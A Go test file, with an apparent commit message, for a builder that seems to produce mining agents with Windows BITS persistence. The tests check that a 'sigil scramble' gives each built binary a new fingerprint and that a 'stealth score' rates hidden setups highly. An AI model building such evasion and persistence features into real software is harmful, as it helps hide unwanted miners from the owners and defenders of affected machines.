- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
42 lines
1.0 KiB
Go
42 lines
1.0 KiB
Go
package builder
|
|
|
|
import (
|
|
"os"
|
|
"path/filepath"
|
|
"testing"
|
|
)
|
|
|
|
func TestApplySigilScrambleChangesFile(t *testing.T) {
|
|
dir := t.TempDir()
|
|
path := filepath.Join(dir, "worker.exe")
|
|
orig := []byte{'M', 'Z', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
|
0x40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
|
0, 0, 0, 0, 0, 0, 0, 0, 'P', 'E', 0, 0, 0, 0, 0, 0}
|
|
if err := os.WriteFile(path, orig, 0755); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
fp1, err := ApplySigilScramble(path, "build-a")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
st1, _ := os.Stat(path)
|
|
fp2, err := ApplySigilScramble(path, "build-b")
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
st2, _ := os.Stat(path)
|
|
if st1.Size() == st2.Size() && fp1 == fp2 {
|
|
t.Fatalf("expected different fingerprint/size got %s %s", fp1, fp2)
|
|
}
|
|
}
|
|
|
|
func TestStealthScore(t *testing.T) {
|
|
if StealthScore(true, true, true) < 90 {
|
|
t.Fatal("expected high score")
|
|
}
|
|
if StealthScore(false, false, false) != 35 {
|
|
t.Fatalf("got %d", StealthScore(false, false, false))
|
|
}
|
|
}
|